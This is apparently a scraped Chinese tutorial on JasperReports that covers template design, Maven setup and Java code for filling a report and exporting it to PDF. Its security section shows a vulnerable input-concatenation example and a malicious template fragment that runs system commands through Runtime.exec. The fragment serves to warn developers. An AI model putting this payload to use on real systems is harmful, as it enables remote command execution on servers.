JasperReports库的基本介绍

wufei123 2025-01-05 阅读:64 评论:0
1。简介 在实践中,我们看到以某种格式统计和导出数据的请求是很常见的。例如,我们收到导出客户统计报告、销售发票、采购发票等的请求,这需要人们(尤其是程序员)创建软件,您可以根据每个具体情况和要求灵活创建导出数据的模板。你可能立刻想到的解决方...

1。简介
在实践中,我们看到以某种格式统计和导出数据的请求是很常见的。例如,我们收到导出客户统计报告、销售发票、采购发票等的请求,这需要人们(尤其是程序员)创建软件,您可以根据每个具体情况和要求灵活创建导出数据的模板。你可能立刻想到的解决方案是使用word、excel……,但是这种解决方案不适合大量不断变化、短时间内发展的数据,同时还需要支付软件费用和数据处理时间不是最佳的。
目前有一个相当流行的解决方案——很多程序员都喜欢使用的jasperreports库。
特别是,这个库是开源的,并且有免费版本。您可以访问其源代码:https://github.com/tibcosoftware/jasperreports

2。使用说明
关于如何使用这个库网上有很多说明,这里就不详细写了
如果您使用 eclipse,jasperreports 有一个额外的插件可以帮助您创建报告模板。
在这篇文章中,我将指导您在intellij idea上使用它,库管理器是maven。
首先,您需要一个模板来填写数据(如订单、发票等)。为此,请下载并安装 jaspersoft studio 软件(当前最新的社区版本链接为 https://community.jaspersoft.com/files/file/19-jaspersoft®-studio-community-edition/?do=getnewcomment).
安装并打开后,软件会有如下界面:

image description

要创建新模板,请转到文件 -> 新建 -> jasper 报告。在“全部”部分中,选择“空白 a4”(或您喜欢的其他模板:>)。

image description

单击“下一步”,指定文件的保存位置。单击下一步 -> 下一步 -> 完成。出现的新界面是模板界面,您可以根据自己的模板自由设计。

image description

右侧是库支持的对象。

image description

假设我必须创建一个带有标题和商品名称的简单购买发票表格。我将“静态文本”对象拖放到模板中,并输入名称“采购发票”(您可以在屏幕右上角自行调整格式)。
接下来,我再拖动 2 个类似的对象,但将项目类别设置在“书籍”和“钢笔”下方。
接下来我必须添加这 2 件商品的价格。这个值是动态的,所以我必须在这里放置一个变量(这也是这个库的一个非常有趣和灵活的功能)。在大纲部分、参数部分中,右键单击并选择“创建参数”。然后我在右角窗口修改了这个变量的值,变量名为book,数据类型为实数。

image description

然后我将其拖放到“book”标签旁边。与变量“笔”和总量相同。这里你可以分配的总金额等于变量“book”和“pen”的总和。
完成模板后,它会是这样的

image description

您切换到源选项卡,这是系统将处理的数据。基本上,jasper report 将以类似于 xml 的文件格式接收输入数据,但标签名称将由库预先定义。例如,整个文件的超类的开始和结束标记必须是“jasperreport”标记。以下是一些必须注意的模板符号:

  • “$p{}”:动态添加到报表中的数据,可以是键值对,可以是数据源。
  • “$f{}”:从数据源添加到报告的复杂数据字段。
  • “$v{}”:根据现有表达式自动生成数据或手动添加数据。 ... 您可以阅读更多内容 (https://www.tutorialspoint.com/jasper_reports/jasper_report_expression.htm)

完成后,您可以开始将此文件复制到您的项目中以填充数据并进行处理。
然后继续导入以下库:

PHP
    <dependency>
      <groupid>net.sf.jasperreports</groupid>
      <artifactid>jasperreports</artifactid>
      <version>6.21.0</version>
    </dependency>

    <dependency>
      <groupid>net.sf.jasperreports</groupid>
      <artifactid>jasperreports-fonts</artifactid>
      <version>6.21.0</version>
    </dependency>

继续编写代码导入文件并填充数据。

PHP
final string outputfilename = "report.pdf";
files.deleteifexists(new file(outputfilename).topath());
inputstream inputstream = main.class.getresourceasstream("/report.jrxml");
map<string, object> parameters = new hashmap<>();
parameters.put("book", 55000);
parameters.put("pen", 11111.1111);
jasperreport jasperreport = jaspercompilemanager.compilereport(inputstream);
jasperprint jasperprint = jasperfillmanager.fillreport(jasperreport, null, new jremptydatasource());
jasperexportmanager.exportreporttopdffile(jasperprint, outputfilename);

这里,因为我们直接填充,所以可以使用map类。如果你想从数据源(database,...)填充数据,可以参考(https://www.baeldung.com/spring-jasper).
结果如下

image description

3。安全编程
因为在渲染这个模板的过程中,库也会执行其中的函数,所以如果用户可以自定义模板标签,攻击者就会添加可以执行命令的恶意标签。此错误与 ssti 非常相似。
假设允许用户直接编辑模板。源码如下:

PHP
final string outputfilename = "out.pdf";
files.deleteifexists(new file(outputfilename).topath());
string input = "";
string template = "<?xml version="1.0" encoding="utf-8"?>
<jasperreport xmlns="http://jasperreports.sourceforge.net/jasperreports" xmlns:xsi="http://www.w3.org/2001/xmlschema-instance" xsi:schemalocation="http://jasperreports.sourceforge.net/jasperreports http://jasperreports.sourceforge.net/xsd/jasperreport.xsd" name="z" pagewidth="500" pageheight="1200" columnwidth="270">
" + input + "</jasperreport>";
inputstream inputstream = new bytearrayinputstream(template.getbytes());
jasperreport jasperreport = jaspercompilemanager.compilereport(inputstream);
jasperprint jasperprint = jasperfillmanager.fillreport(jasperreport, null, new jremptydatasource());
jasperexportmanager.exportreporttopdffile(jasperprint, outputfilename);

攻击者填充恶意函数来控制系统:

PHP
String input = "<parameter name="cmd" class="java.lang.String">
" +
                "        <defaultValueExpression>"id"</defaultValueExpression>
" +
                "    </parameter>
" +
                "    
" +
                "    <group name="grp">
" +
                "        <groupExpression><![CDATA[true]]></groupExpression>
" +
                "        <groupHeader>
" +
                "            <band height="1100">
" +
                "                <textField>
" +
                "                <reportElement height="1000" width="500"  x="120" y="26" forecolor="#222222"/>
" +
                "                    <textFieldExpression class="java.lang.String">
" +
                "                        <![CDATA[new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec($P{cmd}).getInputStream())).readLine()]]>
" +
                "                    </textFieldExpression>
" +
                "                </textField>
" +
                "            </band>
" +
                "        </groupHeader>
" +
                "    </group>
";

结果,命令被执行。文件“out.pdf”包含以下内容:

image description

所以程序员也必须小心,不要让用户直接在模板中输入内容。
另外,该库在旧版本中也存在漏洞(cve-2018-18809、cve-2022-42889、...),编程时应注意使用最新版本。定期更新。

以上就是JasperReports库的基本介绍的详细内容,更多请关注知识资源分享宝库其它相关文章!

版权声明

本站内容来源于互联网搬运,
仅限用于小范围内传播学习,请在下载后24小时内删除,
如果有侵权内容、不妥之处,请第一时间联系我们删除。敬请谅解!
E-mail:dpw1001@163.com

分享:

扫一扫在手机阅读、分享本文

发表评论
热门文章
  • BioWare埃德蒙顿工作室面临关闭危机,龙腾世纪制作总监辞职引关注(龙腾.总监.辞职.危机.面临.....)

    BioWare埃德蒙顿工作室面临关闭危机,龙腾世纪制作总监辞职引关注(龙腾.总监.辞职.危机.面临.....)
    知名变性人制作总监corrine busche离职bioware,引发业界震荡!外媒“smash jt”独家报道称,《龙腾世纪:影幢守护者》制作总监corrine busche已离开bioware,此举不仅引发了关于个人职业发展方向的讨论,更因其可能预示着bioware埃德蒙顿工作室即将关闭而备受关注。本文将深入分析busche离职的原因及其对bioware及游戏行业的影响。 Busche的告别信:挑战与感激并存 据“Smash JT”获得的内部邮件显示,Busche离职原...
  • boss直聘怎么取消面试预约 boss直聘上面试爽约了会怎么样(面试.爽约.预约.取消.boss.....)

    boss直聘怎么取消面试预约 boss直聘上面试爽约了会怎么样(面试.爽约.预约.取消.boss.....)
    求职宝典:boss直聘面试技巧及取消预约方法 各位求职者注意啦!在Boss直聘上,随意取消面试预约会留下爽约记录,影响后续求职!本文将指导您如何避免爽约,以及如何取消已预约的面试。 如何取消Boss直聘面试预约? 打开Boss直聘APP,进入“我的”页面。 点击“待面试”,查看面试日程。 选择需要取消的面试,点击“取消面试”按钮即可。 Boss直聘面试爽约的后果? 爽约行为会在HR端留下记录,影响您的求职成功率。其他HR也能看到您的不良记录,所以务必重视面试预约。...
  • 闪耀暖暖靡城永恒怎么样-闪耀暖暖靡城永恒套装介绍(闪耀.暖暖.套装.介绍.....)

    闪耀暖暖靡城永恒怎么样-闪耀暖暖靡城永恒套装介绍(闪耀.暖暖.套装.介绍.....)
    闪耀暖暖钻石竞技场第十七赛季“华梦泡影”即将开启!全新闪耀性感套装【靡城永恒】震撼来袭!想知道如何获得这套精美套装吗?快来看看吧! 【靡城永恒】套装设计理念抢先看: 设计灵感源于夜色中的孤星,象征着淡然、漠视一切的灰色瞳眸。设计师希望通过这套服装,展现出在虚幻与真实交织的夜幕下,一种独特的魅力。 服装细节考究,从面料的光泽、鞋跟声响到裙摆的弧度,都力求完美还原设计初衷。 【靡城永恒】套装设计亮点: 闪耀的绸缎与金丝交织,轻盈的羽毛增添华贵感。 这套服装仿佛是从无尽的黑...
  • 蛋仔派对2025最新皮肤兑换码汇总 最新皮肤兑换码一览(兑换.皮肤.最新.派对.汇总.....)

    蛋仔派对2025最新皮肤兑换码汇总 最新皮肤兑换码一览(兑换.皮肤.最新.派对.汇总.....)
    蛋仔派对2025最新皮肤兑换码大放送!游戏内新增多款皮肤兑换码,包含最新、福利和通用三种类型,助你轻松获取精美奖励! 赶紧来看看如何兑换吧! 兑换码列表: 最新兑换码: ccewndj4k4k、cdkqdfm4fh、peetnmp4ef、cdxymk8f67 福利兑换码: cca863ywtfa、eggy2310am、eggy2311gz、eggyeggy9wz 通用兑换码: pec74dkcty、jsrqkrrjmh、cd3wt7wrph、ccepn7d8cjf...
  • python怎么调用其他文件函数

    python怎么调用其他文件函数
    在 python 中调用其他文件中的函数,有两种方式:1. 使用 import 语句导入模块,然后调用 [模块名].[函数名]();2. 使用 from ... import 语句从模块导入特定函数,然后调用 [函数名]()。 如何在 Python 中调用其他文件中的函数 在 Python 中,您可以通过以下两种方式调用其他文件中的函数: 1. 使用 import 语句 优点:简单且易于使用。 缺点:会将整个模块导入到当前作用域中,可能会导致命名空间混乱。 步骤:...